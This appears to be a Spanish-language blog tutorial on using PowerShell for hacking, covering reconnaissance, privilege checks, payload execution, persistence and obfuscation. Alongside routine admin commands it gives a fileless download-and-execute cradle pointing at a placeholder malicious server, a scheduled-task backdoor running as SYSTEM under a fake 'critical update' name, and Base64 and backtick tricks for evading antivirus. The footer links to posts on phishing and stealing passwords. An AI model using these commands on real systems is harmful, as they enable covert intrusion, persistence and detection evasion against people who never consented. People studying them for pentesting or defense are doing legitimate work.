Hacking con PowerShell

 

www.onlinetis.com

El uso de PowerShell en el ámbito del hacking y el pentesting es muy común y poderoso, especialmente en entornos de Windows. Los atacantes y los pentesters lo utilizan por varias razones: es una herramienta nativa de Windows, está presente en casi todos los sistemas, y la mayoría de las defensas no lo bloquean por completo, ya que es fundamental para la administración del sistema.

Aquí tienes un resumen de cómo se utiliza PowerShell para propósitos de hacking, con ejemplos clave.


1. Reconocimiento y enumeración 🕵️‍♂️

PowerShell se puede usar para recopilar información sobre un sistema comprometido, como quién es el usuario, qué procesos están corriendo o qué servicios están instalados.

  • Identificar el usuario actual y el nombre del host:

    PowerShell
    whoami /user
    hostname
    
  • Obtener información detallada del sistema operativo:

    PowerShell
    Get-ComputerInfo
    
  • Listar los procesos en ejecución:

    PowerShell
    Get-Process
    
  • Encontrar archivos sensibles:

    PowerShell
    Get-ChildItem -Path C:\ -Include *passwords*.txt -Recurse -ErrorAction SilentlyContinue
    

    Este comando busca cualquier archivo que contenga la palabra "passwords" en su nombre, en todo el disco C:. -ErrorAction SilentlyContinue se usa para ignorar los errores de permisos.


2. Escalada de privilegios 🔓

Una vez que se tiene una sesión de usuario de bajo nivel, se puede usar PowerShell para buscar vulnerabilidades locales o configuraciones incorrectas que permitan convertirse en administrador.

  • Buscar configuraciones incorrectas en servicios:

    PowerShell
    Get-Service | Where-Object {$_.BinaryPathName -notlike 'C:\Windows\*' -and $_.Status -eq 'Running'}
    

    Este script busca servicios que se estén ejecutando desde una ubicación no estándar, lo cual podría indicar un servicio vulnerable.

  • Verificar si el usuario tiene privilegios de administrador:

    Fragmento de código
    [bool]([System.Security.Principal.WindowsPrincipal][System.Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator)
    

    Este es un one-liner que devuelve True si el usuario tiene privilegios de administrador.


3. Ejecución de payloads y persistencia 👻

PowerShell es ideal para ejecutar código malicioso directamente en la memoria, sin tener que escribir un archivo en el disco, lo que dificulta la detección por parte de los antivirus.

  • Descargar y ejecutar un script remoto:

    PowerShell
    IEX(New-Object Net.WebClient).DownloadString('http://servidor_malicioso/script.ps1')
    

    El comando IEX (Invoke-Expression) ejecuta el código que descarga el objeto Net.WebClient desde la URL especificada.

  • Crear una puerta trasera (backdoor) con una tarea programada:

    PowerShell
    $trigger = New-ScheduledTaskTrigger -AtLogOn
    $action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-ExecutionPolicy Bypass -File C:\Users\Public\backdoor.ps1'
    Register-ScheduledTask -TaskName "ActualizacionCritica" -Trigger $trigger -Action $action -User "SYSTEM"
    

    Este script crea una tarea programada que se ejecuta cada vez que un usuario inicia sesión, lo que asegura la persistencia del atacante en el sistema.


4. Defensas y ofuscación 🛡️

Los atacantes también usan PowerShell para evadir la detección y ofuscar su código, haciendo que sea más difícil de analizar.

  • Codificación Base64:

    Los scripts maliciosos a menudo se codifican en Base64 para ocultar sus intenciones.

    PowerShell
    $comandos = "IEX(New-Object Net.WebClient).DownloadString('http://..."
    $encoded = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($comandos))
    

    El atacante luego ejecuta el código codificado con el parámetro -EncodedCommand.

  • Ofuscación simple:

    Reemplazar nombres de variables y usar backticks (`) para dividir cadenas puede confundir a las herramientas de análisis.

    PowerShell
    g`e`t`-`c`h`i`l`d`i`t`e`m -`p`a`t`h C:\
    

Entradas populares de este blog

Ciberseguridad y hacking con Whatweb

Como robar contraseñas haciendo un phishing web

Arsenal software hacking NFC